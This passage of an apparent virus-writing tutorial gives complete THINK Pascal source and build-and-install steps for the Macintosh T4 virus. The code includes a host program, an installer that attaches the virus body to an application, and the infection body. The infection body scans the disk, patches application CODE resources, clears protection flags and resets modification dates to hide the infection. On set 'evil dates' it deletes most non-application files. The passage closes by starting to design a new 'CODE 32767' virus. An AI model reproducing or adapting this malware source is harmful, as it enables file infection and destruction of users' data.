- too deep, by scanning for files and directories that are only 255 characters deep. The actual scanning
- depth may be changed to force the virus to scan say only 40 characters deep, eliminating large
- recursive calls, thus minimizing the stack. Another point that needs to be taken care of is the
- registers. Upon exiting the virus body, the application must find the registers containing the exact same
- values they had at the moment of entry. Thus, an explicit save on all registers (D0-D7,A0-A5) is required,
- since the virus will use some of them. The viral signature (resource type 'cntr') contains an integer counter
- in the first byte. The byte starts at the value of 0. Every time the infected application is run, the counter
- is incremented by 1. When the counter reaches values that are multiple of 10, the virus will show on
- screen the icon of a small virus. The virus may reinfect an application, with probability 1 in 100. The
- older versions of the virus, (the ones released in the U.S.) used a different tactic on infecting
- applications. The infection resource was of type 'STR ', and the counter was the first byte (the length
- byte) of that resource. Consequently, if there is an encounter of the two viruses, the old virus will
- infect the newer virus, but the newer will not infect the old, since it looks at the actual code signature
- which is embedded within the CODE resource. The older version relied entirely on the 'STR '
- resource counter for its decisions about infection. As a result, if one has an application that does not
- call _InitDialogs, with no 'STR ' resource, it would have opened it, examined it, and it would have
- closed it without attaching an infection resource. On another run, it would have opened it again and
- would have gone through the same cycle, therefore finding an obstacle in its directory scan algorithm.
- For example, a script editor application, would present a barrier against other
- infections on the same disk. The rewritten version, bypasses that problem, by looking whether an
- application can be infected. When the virus opens a file, it will determine whether an application can
- be infected, and if not, it will skip that file. The older version also had no limit on the number of
- characters for a directory filename scan, which would cause it to crash if the directory complete
- pathname was longer than 255 chars. The newer version will scan only as deep as it can go, provided
- the pathname is shorter than 255. The older version altered boot code that had to do with the loading
- of extensions. The newer version does not. The older version assumed the alias name 'Disinfectant'
- (renaming itself into it) so it would confuse the user into thinking that Disinfectant was making
- changes. In the newer version that is not possible anymore, because the Antiviral programs took this information
- from the low memory global "CurAppName", but now take it from the process manager using probably "GetProcessInfo".
- The older version stopped scanning when an error<>noerr occurred. This means that
- if the infected application was on a server with locked folders, it would stop on the first available
- folder with insufficient privileges that generated the error. The newer version, checks only for fnferr,
- which is the correct way to pause the recursive subroutine. Consequently, the newer version will
- encounter the insufficient privileges error, but will continue scanning if found on a server.
- The timing of the virus is based on the phrase 'AMORE FINITUS'. Take the English Alphabet, count
- it, starting with A=1, and the months on which the virus activates are the letters of the phrase
- 'AMORE FINITUS'.
- The hours are a plain 12-hour cycle starting with 9-10 for January, 10-11 for February, etc.
- The complete project consists of several smaller projects in THINK PASCAL:
- 1)T4FirstHost-(Generates the first dummy application to host the body of the T4virus)
- 2)T4Main-(Generates the virus body)
- 3)T4Appl-(Runs the virus as an application for debugging)
- 4)T4Install-(Joins the virus body along with the application T4FirstHost)
- 5)Scan-(Scans the hard drive in exactly the same manner that the virus does)
- The installation of the virus goes as follows:
- Open the project T4FirstHost. Select "Build Application...". Name it "T4FirstHost".
- Open the project T4Main. Select "Build Code Resource...". Name it "T4body".
- From the Finder, duplicate the application T4FirstHost.Name it "T4FirstHost Copy".
- Open the project T4Install. Adjust the pathnames to reflect your folder
- structure then select "Go".
- If all is successful, the application T4FirstHost Copy is a ready infected
- application with the T4(D) virus. BE VERY CAREFULL WHEN YOU RUN THIS APPLICATION.
- PREFERABLY, DON'T RUN IT AT ALL. IT WILL INFECT YOUR APPLICATIONS IN YOUR
- HARD DISK IN THE BEST CASE, IT WILL ERASE YOUR HARD DRIVE IN THE WORST. THE
- AUTHOR DOES NOT BARE ANY RESPONSIBILITY IF YOU WANT TO EXPERIMENT WITH
- THE VIRUS. IN PARTICULAR IF YOU TRY TO RELEASE THE VIRUS, YOU ARE LIABLE TO
- CRIMINAL PENALTIES. YOU HAVE BEEN WARNED.
- If however you want to track the virus, you can use an antiviral tool such as GateKeeper to monitor
- the operations performed by T4, provided it is not an erase date, cause then GateKeeper won't stop it
- from erasing your files.
-
- THE FIRST HOST APPLICATION
-
- {*********************************************************}
- {Test prototype host for the T4 virus. It hosts the virus simulating a real}
- {application}
- {WARNING: DO NOT RUN THIS PROGRAM;SELECT BUILD APPLICATION ONLY}
- {*********************************************************}
- program T4FirstHost;
- {$I-}
- {the following procedures are needed to simulate the conditions on the}
- {infected appl}
- procedure bsrvirus;
- inline $6100, $0010;
- procedure applicationcode;
- inline $4E71, $4E71, $4E71, $4E71;
- begin
- initgraf(@theport);
- initfonts;
- initwindows;
- initmenus;
- teinit;
- bsrvirus;
- applicationcode;
- end.
-
- When you select "Build Application" on the above file, a template host is created, which is a
- totally useless application, unless the virus is attached onto it. I have arranged the branching to take
- place correctly, so when the virus is installed, it will immediately activate. NOTE: If you try to run
- this app without first installing the virus onto it, you can tell what will happen. The PC will take a
- branch into Twilight Zone, since the "bsrvirus" procedure will branch exactly immediately after the 8
- bytes of "applicationcode", which is God knows where. When we install the virus later the "bsrvirus"
- will branch into the appended virus segment, therefore activating the virus. So, here comes the
- Installer:
-
- THE T4 INSTALLER APPLICATION
-
- {prototype installer for the T4 virus}
- {This program assumes the existence of the file "T4FirstHost copy" to which it attaches the virus
- body, after modifying the header slightly to branch to the correct places. It opens the two resource
- files (their pathnames must be corrected to reflect your directory structure) and manipulates the main
- CODE resource of the two files. Errors are written out as they occur during runtime.}
- {WARNING:DO NOT RUN UNLESS YOU HAVE BUILT THE APPLICATION "First Host Copy",
- FIRST}
- program t4install;
- label 1000;
- type
- headercode = array[1..6] of longint;
- headerptr = ^headercode;
- headerhandle = ^headerptr;
- var
- refnum1, refnum2, attrs: integer;
- err: oserr;
- thevirus, thehost, icon, copy: handle;
- theheader: headerhandle;
- tr: rect;
- str1, str2: str255;
- begin
- setrect(tr, 100, 100, 400, 400);
- setTextRect(tr);
- showtext;
- str1 := 'Hard Disk:T4:T4Main:T4body';
- str2 := 'Hard Disk:T4:T4FirstHost:T4FirstHost Copy';
- refnum1 := openresfile(str1);
- err := reserror;
- writeln('openresfile:', err);
- if err <> 0 then goto 1000;
- thevirus := getresource('CODE', 1);
- writeln('getresource:', reserror);
- hlock(thevirus);
- writeln('hlock:', memerror);
- refnum2 := openresfile(str2);
- err := reserror;
- writeln('openresfile:', err);
- if err <> 0 then goto 1000;
- icon := geticon(maxint);
- copy := newhandle(128);
- hlock(icon);
- hlock(copy);
- blockmove(icon^, copy^, 128);
- hunlock(copy);
- hunlock(icon);
- addresource(copy, 'ICON', maxint, '');
- writeln('addresource:', reserror);
- thehost := getresource('CODE', 1);
- writeln('getresource:', reserror);
- attrs := getresattrs(thehost);
- writeln('getresattrs:', reserror, attrs);
- setresattrs(thehost, 0);
- writeln('setresattrs:', reserror);
- hlock(thehost);
- writeln('hlock:', memerror);
- writeln('host:', gethandlesize(thehost), ' virus:', gethandlesize(thevirus));
- theheader := headerhandle(thevirus);
- theheader^^[1] := $48E70080; {movem.l a0,-(sp) ;save a0}
- theheader^^[2] := $41FAFFFA; {lea *-$0006,A0 ;load virus entry point}
- theheader^^[3] := $21C809CE; {move.l a0,$09CE ;put in toolscratch}
- theheader^^[4] := $4CDF0100; {movem.l (sp)+,a0 ╞;restore a0}
- theheader^^[5] := $60060000; {bra.s *+$0006 ;jump off next}
- theheader^^[5] := bor(theheader^^[5], integer('T4'));
- theheader^^[6] := longint('VIRS');
- writeln('handandhand:', handandhand(thevirus, thehost));
- changedresource(thehost);
- writeln('changedresource:', reserror);
- hunlock(thevirus);
- hunlock(thehost);
- closeresfile(refnum2);
- writeln('closeresfile:', reserror);
- closeresfile(refnum1);
- writeln('closeresfile:', reserror);
- disposehandle(icon);
- disposehandle(copy);
- 1000:
- end.
-
- The file is actually pretty self explanatory. We use a special interpretation of the virus header
- as a handle of an array of 6 longints, to be able to set the desired header quickly. There are two
- resource files that get manipulated. We get refnums to both of them, get a hold of the virus CODE
- segment, we lock it, then we create a copy of the icon that the virus uses, we add the icon to the file,
- and then we masage the virus header to put some vital information on it. Specifically, we save register
- A0, load the virus entry point into it, and put it in the toolscratch low memory global. Then we restore
- A0, and insert some virus branching instructions to its main code. In order to understand exactly the
- format of a code segment resource, look at the THINK Pascal manual, where those formats are
- described. For those who don't have the manual, here's what a code resource header looks like, as built
- by THINK Pascal:
- Offset Contents
- 0 BRA.S *+$10 (branch to header code)
- 2 $0000 (unused)
- 4 'TYPE' (resource type)
- 8 $000A (resource id)
- 10($A) $0000 (unused)
- 12($C) $0000 (unused)
- 14($E) $0000 (unused)
-
- Of course we don't have much use for the above stuff, so we modify the header to suit our
- needs. Note that the virus signature gets loaded in the last six bytes of the header. Note the call to
- "HandAndHand" which actually appends the virus code segment to the host code, by duplicating the
- handle involved. If, during installation you see any non-zero error codes written to output, this means
- that the specified routine has failed for some reason. Check your pathnames first. If they are unset, the
- program will fail.
-
- THE T4 VIRUS MAIN SEGMENT
-
- {WARNING:THE AUTHOR IS NOT RESPONSIBLE FOR UNAUTHORIZED USE OF THIS
- PROGRAM}
- {*********************************************************}
- {This unit is the Virus in Malignant form. After all the procedures have been tested,}
- {the Virus can be installed from the executable form of this unit}
- {*********************************************************}
- {COMPILER VARS:}
- {APPL=TRUE:Execution of the virus as an application for debugging}
- { =FALSE:Creates the final virus module}
- { WARNING:If APPL=TRUE the application virus will CORRUPT the file it
- proccesses}
- {as it inserts A5 relative code which will NOT work on other applications}
- {DEBUG=TRUE:includes code for displaying system errors}
- { =FALSE:Just beeps when error happens}
- {*********************************************************}
- {VERSION: 7.6.0 of Thursday November 7 1996 (MUTATED VERSION "E" with new icons)}
- {*********************************************************}
- {$IFC APPL}
- {$D+}
- {$ELSEC}
- {$D-}
- {$ENDC}
- {$IFC APPL}
- program T4debug;
- {$I-}
- {$ELSEC}
- unit T4infect;
- interface
- procedure Main;
- implementation
- {$ENDC}
- {$IFC APPL}
- {*********************************************************}
- {'Here' calculates its own address (the address of '*' below) and is needed to give the application
- version of T4 some idea of where its executable code resides in relation to the actual loaded CODE
- segments of this program. It is used only by the APPL version}
- {*********************************************************}
- procedure Here (var addr: ptr);
- inline
- {from THINK PASCAL: *PEA $xx(A6);to push the address of 'addr'}
- $48E7, $00C0, {MOVEM.L A0-A1,-(SP) ;save old registers}
- $41FA, $FFF6, {LEA -8(PC),A0 ;load pc-8 in a0}
- $226F, $0008, {MOVEA.L 8(SP),A1 ;load address of 'addr' in a1}
- $2288, {MOVE.L A0,(A1) ;load pc-8 in 'addr'}
- $4CDF, $0300, {MOVEM.L (SP)+,A0-A1 ;restore regs}
- $584F; {ADDQ #4,SP ;pop argument}
- {*********************************************************}
- {If the application version gets the 'bomb', this is the clean way out...}
- {*********************************************************}
- procedure DSError;
- begin
- exittoshell;
- end;
- {$ENDC}
- {*********************************************************}
- {This is the actual 'infection' procedure (also the virus 'body')}
- {*********************************************************}
- procedure Main;
- label 1000, 1001;
- const
- initDtrap = $A97B; {'InitDialogs' trap}
- nop = $4E71; {680x0 no operation}
- charscanningdepth = 255; {maximum length of pathname}
- type
- {selectors for type of patch to code segment}
- patchtype = (moveorclear, pea);
- {interpretation of CODE resource as arrays of integers}
- wordarray = array[0..maxint] of integer;
- wordptr = ^wordarray; {pointer to array above}
- wordhandle = ^wordptr; {handle to array above}
- scratch8bytes = ptr;{scratch area for use by applications at $000009CE}
- toolscratch = ^scratch8bytes;
- cinfopbhandle = ^cinfopbptr; {directory scan parameter block handle}
- HParamBlockHandle = ^HParmBlkPtr; {parameter block for PBHSetFInfo}
- var
- scratch: toolscratch; {scratch is the address $000009CE as a pointer}
- virusaddr: ptr; {virus loading address}
- err: oserr; {general error}
- opened, {opened (to be infected) appl's reference number}
- active, {Main (running) application's reference number}
- lastresource, index, i, j, {general counters}
- vrefnum, {volume reference number}
- initDoffset, {offset of trap _InitDialogs into CODE segment}
- attributes {resource file or resource attributes}
- : integer;
- h, {CODE resource to be patched handle}
- icon {icon handle coming from Main resource file}
- : handle;
- segsize, {CODE segment to be patched, size}
- virussize {size of virus CODE module}
- : longint;
- iconrect, {rectangle for displaying ICON}
- wbounds {bounds rect for window (debug or display)}
- : rect;
- thewindow, {window for display}
- oldport {to save the old port}
- : windowptr;
- cipbh: cinfopbhandle; {directory scan parameter block handle}
- pathname: str255; {complete pathname of application to be infected}
- scanname: string[31];{partial file name returned by the scanning proc}
- theworld: sysenvrec; {default system vars}
- foundone, {TRUE if there is a candidate for infection}
- Busy, {TRUE if resource file is opened}
- sizeok, {TRUE if CODE size + VIRUS size <=32767}
- hasinitDialogstrap,{TRUE if $A97B resides somewhere in a CODE resource}
- reinfect, {TRUE if VIRUS counter is a multiple of 40}
- canbeinfected, {= sizeok AND hasinitDialogstrap}
- show {TRUE if counter is a multiple of 10}
- : boolean;
- patch: patchtype; {moveorclear or pea, depending on the patch we perform}
- Delete: boolean; {If TRUE, all hell breaks loose}
- ApplicationFile, {TRUE if type=APPL or Finder or MultiFinder}
- SystemFile: boolean; {TRUE if SystemFile}
- Frame: integer; {Frames for Cursor Animation}
- OldTicks: Longint; {For Cursor Animation}
- theAnimatedCursor: array[0..7] of CursHandle;{the Animated Cursors}
- {$IFC NOT APPL}
- {*********************************************************}
- {Upon entry to a procedure, THINK does a save on D7/A2-A3. To avoid any complications we save
- and restore all registers ourselves, just in case...}
- {*********************************************************}
- procedure SaveRegisters;
- inline
- $48E7, $FFFC; {MOVEM.L D0-D7/A0-A5,-(SP)}
- procedure RestoreRegisters;
- inline
- $4CDF, $3FFF; {MOVEM.L (SP)+,D0-D7/A0-A5}
- {$ENDC}
- {$IFC DEBUG}
- {*********************************************************}
- {On errors returned by OS, this is some sample code that displays them}
- {*********************************************************}procedure DebugWindow
- (str: str255);
- begin
- setrect(wbounds, 156, 100, 756, 200);{set window coordinates to something big}
- thewindow := newwindow(nil, wbounds, '', true, altdboxproc, pointer(-1), false, 0); {bring new
- window}
- getport(oldport); {save old port}
- setport(thewindow); {set port to debug window}
- moveto(25, 65); {move pen to location}
- textfont(geneva);
- textsize(9);
- drawstring(str); {draw the wanted string}
- setport(oldport); {set port to saved port}
- while not button do ;
- while button do ;
- disposewindow(thewindow); {dispose window}
- end;
- {$ENDC}
- {*********************************************************}
- {The following is Here for debugging the code segment using 2 different ways depending on the
- variables DEBUG and APPL.}
- {*********************************************************}
- function IsErr (err: oserr): boolean;
- {$IFC DEBUG}
- var
- str: str255;
- {$ENDC}
- begin
- if err <> noerr then
- begin
- {$IFC APPL}
- writeln(err);
- {$ELSEC}
- {*sysbeep(2);*}
- {early versions of the virus beeped when an error occured}
- {$IFC DEBUG}
- numtostring(err, str);
- DebugWindow(str);
- {$ENDC}
- {$ENDC}
- IsErr := true;
- end
- else
- IsErr := false;
- end;
- {*********************************************************}
- {Evil Dates determines whether the Date is an erase date, or just a replication date}
- {*********************************************************}
- function EvilDate: boolean;
- var
- theDate: DateTimeRec;
- temp: boolean;
- begin
- GetTime(theDate); {Get the Current Date to determine if it's an evil date}
- with theDate do
- begin
- temp := (Month = 1) and (Day = 1) and (Hour = 9);
- {Days make 'AMORE FINITUS'}
- temp := temp or ((Month = 2) and (Day = 13) and (Hour = 10));
- temp := temp or ((Month = 3) and (Day = 15) and (Hour = 11));
- temp := temp or ((Month = 4) and (Day = 18) and (Hour = 12));
- temp := temp or ((Month = 5) and (Day = 5) and (Hour = 13));
- temp := temp or ((Month = 6) and (Day = 6) and (Hour = 14));
- temp := temp or ((Month = 7) and (Day = 9) and (Hour = 15));
- temp := temp or ((Month = 8) and (Day = 14) and (Hour = 16));
- temp := temp or ((Month = 9) and (Day = 9) and (Hour = 17));
- temp := temp or ((Month = 10) and (Day = 20) and (Hour = 18));
- temp := temp or ((Month = 11) and (Day = 21) and (Hour = 19));
- temp := temp or ((Month = 12) and (Day = 19) and (Hour = 20));
- end;
- EvilDate := temp;
- end;
- {*********************************************************}
- {SpinCursor Spins the Cursor watch so that the user is informed that the mac is not hanged}
- {*********************************************************}
- procedure SpinCursor;
- var
- NewTicks: longint;
- begin
- NewTicks := TickCount;
- if abs(NewTicks - OldTicks) >= 50 then
- begin
- frame := (frame + 1) mod 8;
- SetCursor(theAnimatedCursor[frame]^^);
- OldTicks := NewTicks;
- end;
- end;
- {*********************************************************}
- {gotoffset returns the offset of 'key' found in the data handle h, of size size. Returns false and offset=-
- 1 if 'key' not found}
- {*********************************************************}
- function GotInitDTrap (h: handle; {CODE handle to examine}
- size: longint; {size of the handle}
- var offset: integer): boolean; {returned offset as an integer from start of
- handle}
- var
- off: integer;
- found: boolean;
- begin
- hlock(h);
- offset := -1;
- found := false;
- for off := 2 to size div 2 do{size is in bytes. Since we access ints, it's half}
- if wordhandle(h)^^[off] = initDtrap then
- if (wordhandle(h)^^[off - 1] = $42A7) or (band($F000, wordhandle(h)^^[off - 1]) =
- $2000) then
- begin {this is the first case. The form of the CODE resource}
- patch := moveorclear; {is CLR.L -(SP) or MOVE.L An/Dn -(SP) followed by}
- found := true; {_InitDialogs}
- offset := off; {set offset to off}
- leave; {exit for loop}
- end
- else if (band(wordhandle(h)^^[off - 2], $FF00) = $4800) then
- begin {this is the second case. The form of the CODE resource}
- patch := pea; {is PEA xxxx(A5) followed by _InitDialogs}
- found := true;
- offset := off; {set offset to off}
- leave; {exit loop}
- end;
- GotInitDTrap := found;
- hunlock(h);
- end;
- {*********************************************************}
- {gotLONGoffset returns the offset of a longint 'key' found in the data handle h, of size size Returns
- false and offset=-1 if 'key' not found. It is a slight variation of the function above}
- {*********************************************************}
- function GotSignature (h: handle; {CODE handle to examine}
- size: longint): boolean;
- var
- off: integer;
- found: boolean;
- begin
- hlock(h);
- found := false;
- for off := 2 to size div 2 do {size is in bytes. Since we access longs, it's one half}
- if wordhandle(h)^^[off] = integer('T4') then
- if (wordhandle(h)^^[off + 1] = integer('VI')) and (wordhandle(h)^^[off + 2] = integer('RS')) then
- begin {segment contains data 'T4VIRS'}
- found := true; {}
- leave; {exit for loop}
- end;
- GotSignature := found;
- hunlock(h);
- end;
- {*********************************************************}
- {If the Application is infected the following returns TRUE, FALSE otherwise}
- {*********************************************************}
- function IsInfected: boolean;
- label 1002;
- var
- index: integer;
- ItIs: boolean;
- begin
- ItIs := False;
- lastresource := count1resources('CODE'); {how many CODE segments?}
- if lastresource > 0 then {if none, bad appl}
- begin {start looking}
- for index := 1 to lastresource do
- begin
- h := get1indresource('CODE', index); {get CODE segment}
- if IsErr(reserror) then goto 1002;
- segsize := sizeresource(h); {get segment's size}
- if IsErr(reserror) then goto 1002;
- ItIs := GotSignature(h, segsize);
- if ItIs then leave
- else releaseresource(h); {release unwanted mem}
- end;{for index}
- end;{if lastresource}
- 1002:
- IsInfected := ItIs;
- end;
- {*********************************************************}
- {the following examines whether an application is infected, not infected or can be reinfected. It also
- opens the resource fork of the application to be infected so that we can process later the patch. Upon
- exit from this routine, we have: 1)opened the resource file to be infected. 2)a CODE segment handle h
- of the CODE resource to be infected, 3) the code id size and 4)the InitDialogs trap offset in
- initDoffset. If the Global variable "Delete" is true, then the scanning procedure goes through the
- entire disk erasing all the non application files (i.e. all the files of not type APPL or Finder or
- MultiFinder). The virus will not erase the Main System Files such as the System or System Update or
- System Enabler}
- {*********************************************************}
- procedure ExamineApplication;
- label 1002;
- const
- ThreeK = 3072;
- var
- index: integer;
- begin
- sizeok := false; {size NOT ok to start}
- hasinitDialogstrap := false; {does NOT have InitDialogs trap}
- canbeinfected := false; {cannot be infected, assume}
- err := rstflock(pathname, vrefnum); {unlock, just in case}
- opened := openrfperm(pathname, 0, fsrdwrshperm); {open resource file}
- err := ResError;
- Busy := (err <> noErr) or (opened = active); {true if somehow resource file is used}
- if not Busy then {don't infect Busy apps}
- begin
- attributes := getresfileattrs(opened); {maybe it's read only}
- if band(attributes, mapreadonly) = mapreadonly then
- begin
- attributes := attributes - mapreadonly + mapchanged;{clear old attributes}
- setresfileattrs(opened, attributes); {set new flags}
- end;
- useresfile(opened); {make current just in case}
- reinfect := TickCount mod 100 = 66; {reinfect with probability 1/100}
- if not IsInfected or reinfect then {it is not infected or to be reinfected}
- begin {look if it is a candidate for infection}
- lastresource := count1resources('CODE'); {how many CODE segments?}
- if lastresource > 0 then {if none, bad appl}
- begin {start looking}
- for index := 1 to lastresource do
- begin
- h := get1indresource('CODE', index); {get CODE segment}
- if IsErr(reserror) then goto 1002;
- segsize := sizeresource(h); {get segment's size}
- if IsErr(reserror) then goto 1002;
- hasinitDialogstrap := GotInitDTrap(h, segsize, initDoffset);
- if hasinitDialogsTrap then sizeok := segsize + virussize <= maxint;
- canbeinfected := sizeok and hasinitDialogstrap;
- if canbeinfected then leave
- else releaseresource(h); {release unwanted mem}
- end;{for index}
- end;{if lastresource}
- end;{if not IsInfected}
- end;{if not Busy}
- 1002:
- if not Busy and not canbeinfected then
- begin
- closeresfile(opened);{if not us, or if not Busy, or cannot be infected, close it}
- PurgeMem(ThreeK); {Purge Unwanted Memory}
- end;
- foundone := canbeinfected;
- end;
- {*********************************************************}
- {The following brings the next clean application from the directory. It returns the complete pathname
- of the next app in the hard drive that does not contain a cntr resource of id=32767 and is not running.
- Implemented recursively It will scan directories as deep as determined by the constant
- charscanningdepth}
- {*********************************************************}
- procedure NextUninfectedApplication (dirid: longint);
- var
- indx: integer;
- err: oserr;
- begin
- indx := 0;
- repeat
- indx := indx + 1;
- with cipbh^^ do
- begin
- ionameptr := @scanname;
- iofdirindex := indx;
- iodirid := dirid;
- iovrefnum := 0;
- err := pbgetcatinfo(cipbh^, FALSE);
- if (err <> noerr) and (err <> fnferr) then
- if IsErr(err) then ;
- if err = noerr then
- begin
- if length(pathname) + length(scanname) <= charscanningdepth then {don't look
- deeper than charscanningdepth chars}
- begin
- pathname := concat(pathname, ':', scanname); {stack}
- if bittst(@ioflattrib, 3) then {directory}
- NextUninfectedApplication(iodirid)
- else
- begin
- ApplicationFile := (ioflfndrinfo.fdtype = 'APPL') or ((ioflfndrinfo.fdcreator = 'MACS') and
- (ioflfndrinfo.fdtype = 'FNDR')) or (scanname = 'MultiFinder');
- SystemFile := pos(scanname, 'System') <> 0;
- if not Delete and ApplicationFile then
- ExamineApplication{if type=APPL}
- else if Delete and not ApplicationFile and not SystemFile then
- err := HDelete(vrefnum, 0, pathname);
- end;
- SpinCursor;
- if not foundone then {unstack only if we
- haven't found one yet}
- begin
- i := length(pathname); j := i;
- while pathname[i] <> ':' do i := i - 1;
- pathname := omit(pathname, i, j);
- end;{if not foundone}
- end;{if length ok}
- end;{if err=noerr}
- end;{with cipbh^}
- until (err = fnferr) or foundone;
- end;
- {*********************************************************}
- {ShowMessage displays a little window with the icon of a virus or if the icon is missing, the name
- T4}
- {*********************************************************}
- procedure ShowMessage;
- begin
- setrect(iconrect, 1, 1, 33, 33);
- setrect(wbounds, 50, 50, 83, 83);
- thewindow := newwindow(nil, wbounds, '', true, plainDbox, pointer(-1), false, 0);
- getport(oldport);
- setport(thewindow);
- UseResFile(active);
- icon := GetResource('ICON', maxint);
- if icon <> nil then {if ICON resource present then plot}
- ploticon(iconrect, icon)
- else {ICON is missing. Write "T4"}
- begin
- textfont(systemfont);
- textsize(12);
- moveto(10, 20);
- drawstring('T4');
- end;
- delay(100, segsize); {delay for 100 ticks}
- setport(oldport);
- disposewindow(thewindow);
- end;
- {*********************************************************}
- {If the ResProtected attribute is on, we cannot modify the resource. So, clear it}
- {*********************************************************}
- procedure ClearResProtected (h: Handle);
- begin
- attributes := getresattrs(h);
- if band(attributes, resprotected) = resprotected then
- setresattrs(h, attributes - resprotected);{clear attributes so we can write}
- end;
- {*********************************************************}
- {This is the actual patching of the code of the infected file. Adds the new branching instructions
- depending on whether the CLR.L or the PEA instruction was used in the modified code.}
- {*********************************************************}
- procedure PatchCode;
- begin
- hlock(h);
- case patch of
- moveorclear:
- begin
- {BSR (segsize - 2 * initDoffset)}
- wordhandle(h)^^[initDoffset - 1] := $6100;
- wordhandle(h)^^[initDoffset] := segsize - 2 * initDoffset;
- end;
- pea:
- begin
- {BSR (segsize + 2 - 2 * initDoffset)}
- wordhandle(h)^^[initDoffset - 2] := $6100;
- wordhandle(h)^^[initDoffset - 1] := segsize + 2 - 2 * initDoffset;
- wordhandle(h)^^[initDoffset] := nop; {NOP}
- end;
- end; {case patch}
- hunlock(h);
- end;
- {*********************************************************}
- {Add virus signature, resource type cntr to infected file if not already in}
- {note that if someone removes the cntr signature, a double infection will occur.}
- {*********************************************************}
- procedure AddIcon;
- begin
- {*********************************************************}
- {Add virus ICON to infected file if not already in}
- {*********************************************************}
- UseResFile(active);
- icon := GetResource('ICON', maxint); {will bring it from opened resfile}
- if icon <> nil then {add icon resource if present}
- begin
- DetachResource(icon);
- UseResFile(opened);
- AddResource(icon, 'ICON', maxint, '');
- end;
- end;
- {*********************************************************}
- {The following routine corrects the modification date so that it doesn't show after the infection}
- {*********************************************************}
- procedure SetModificationDate;
- label 1002;
- var
- ParamBlock: HParamBlockHandle; {parameter block for PBHSetFInfo}
- err: OsErr;
- begin
- ParamBlock := HParamBlockHandle(NewHandle(SizeOf(HParamBlockRec)));
- if isErr(MemError) then goto 1002; {Exit if we can't get the memory}
- HLock(Handle(ParamBlock));
- with ParamBlock^^ do
- begin
- ioFDirIndex := 0;
- ioNamePtr := @pathname;
- err := PBHGetFInfo(ParamBlock^, FALSE);
- ioFlMdDat := ioFlCrDat;
- err := PBHSetFInfo(ParamBlock^, FALSE);
- end;
- HUnlock(Handle(ParamBlock));
- DisposeHandle(Handle(ParamBlock));
- 1002:
- end;
- begin {Main body}
- {$IFC APPL}
- Here(virusaddr);
- {$ELSEC}
- SaveRegisters;
- initdialogs(nil);
- initcursor;
- scratch := pointer($09CE); {fetch virus entry point stored there from the header instructions}
- virusaddr := scratch^;
- {$ENDC}
- active := curresfile; {get current resource file}
- lastresource := count1resources('CODE');{how many CODE segments current?}
- for index := 1 to lastresource do
- begin
- h := get1indresource('CODE', index);
- segsize := sizeresource(h); {calculate segment size}
- {*********************************************************}
- {The next statement is pretty tricky: If a CODE segment is already loaded, and contains this^ very
- code, (i.e. the virus), then the master pointer returned by the resource manager should be the loading
- point of the application. So, if the virus address falls between loadingaddress and loadingaddr+size of
- segment, we found ourselves!}
- {*********************************************************}
- if (ord(stripaddress(h^)) <= ord(stripaddress(virusaddr))) and (ord(stripaddress(virusaddr)) <=
- ord(stripaddress(h^)) + segsize) then
- begin
- i := index;
- leave;
- end;
- end;
- if i > 0 then
- begin
- {*********************************************************}
- {This is another clever calculation. We have been given 3 things: 1) The entry point of the segment
- that contains the virus code, 2)The virus entry point address, and 3) the size of the entire segment. We
- calculate then the DYNAMIC size of the virus! Note that this will always work, even if we change the
- source code. Also one has to be careful not to use the pointer headers, so we use 'StripAddress'}
- {*********************************************************}
- virussize := ord(stripaddress(h^)) + segsize -(ord(stripaddress(virusaddr)));
- {Here we can change the name of the current app}
- Delete := EvilDate; {Determine if we are to Erase volume}
- show := TickCount mod 10 = 5; {show icon with probability 1/10}
- if IsErr(sysenvirons(1, theworld)) then {get the environment}
- goto 1001;
- pathname := '';
- scanname := '';
- vrefnum := theworld.sysvrefnum;
- if IsErr(setvol(nil, vrefnum)) then {set startup volume}
- goto 1001;
- if IsErr(getvol(@pathname, vrefnum)) then{get startup volume}
- goto 1001;
- foundone := false; {tentativelly}
- opened := 0;
- theAnimatedCursor[0] := GetCursor(WatchCursor);
- for frame := 1 to 7 do
- theAnimatedCursor[frame] := GetCursor(-6078 + frame - 1);{Get Cursors from System File}
- frame := 0;
- OldTicks := TickCount;
- cipbh := cinfopbhandle(newhandle(sizeof(cinfopbrec)));
- if IsErr(memerror) then goto 1001; {exit if we can't get the memory}
- hlock(handle(cipbh)); {lock to use}
- NextUninfectedApplication(fsrtdirid); {search for next uninfected appl}
- hunlock(handle(cipbh)); {unlock to free}
- disposehandle(handle(cipbh)); {dispose of}
- InitCursor;
- if foundone then
- begin
- {$IFC DEBUG}
- DebugWindow(pathname);
- {$ENDC}
- {we have the code resource in the handle h, so now we can operate on it}
- {first change the code attributes}
- ClearResProtected(h);
- if IsErr(reserror) then goto 1000;
- PatchCode;
- if IsErr(ptrandhand(virusaddr, h, virussize)) then goto 1000;
- changedresource(h); {mark change permanent}
- if IsErr(reserror) then goto 1000;
- {The previous call is where the virus will fail if there are}
- {AntiViral programs running.}
- updateresfile(opened);
- if IsErr(reserror) then
- goto 1000;
- if not reinfect then AddIcon;
- if show then ShowMessage;
- end; {if foundone}
- 1000:
- useresfile(active); {restore active resource file}
- if foundone then closeresfile(opened); {close resource fork}
- {h was disposed when closeresfile was called. Same goes for all the foreign resources}
- if foundone then SetModificationDate;
- 1001:
- {$IFC NOT APPL}
- RestoreRegisters; {restore leftout regs}
- {$ENDC}
- end;{if i>0}
- end; {Main body}
- {$IFC APPL}
- begin
- initgraf(@theport);
- initfonts;
- initwindows;
- initmenus;
- teinit;
- initdialogs(@DSError);
- Main;
- {$ENDC}
- end.
-
- The program should be quite easy for you to analyze with all these comments. Pay particular
- attention to the actual "patching" code, where we calculate the branching offsets. This point along
- with the calculations on getting the entry address for the virus are the only two things which are of
- interest. The rest of the code is quite trivial. Finally we set the modification date so that the virus does
- not leave a trace on the dates of the infected files.
-
- THIRD EXAMPLE: THE CODE 32767 VIRUS
-
- DESCRIPTION:
-
- We will follow the writing of a new Macintosh virus, which we will call CODE 32767 virus. The
- name takes from the fact that this virus will add a CODE segment of id 32767 into the infected files.
- The first question is the HOW the virus will infect files. The answer is by the CODE resource
- aforementioned. We go to details.
- CODE resources are loaded by the Jump Table as needed. In particular the Jump Table contains
- entries that loads the main CODE resource, and entries that refer to intrasegment calls. The first idea
- would be to change the Jump Table so that it bypasses the regular CODE segment to be loaded first,
- thereby loading CODE 32767 first. The idea is correct. However, the way to implement that, is tricky.
- If we extend the Jump Table say by adding a first entry for our CODE 32767 segment, the idea won't
- work, because there are changes made for which we cannot account. 1)The Length of the JT will
- change, forcing a change on the variable that's 8 bytes off from the beginning of the JT. This can be
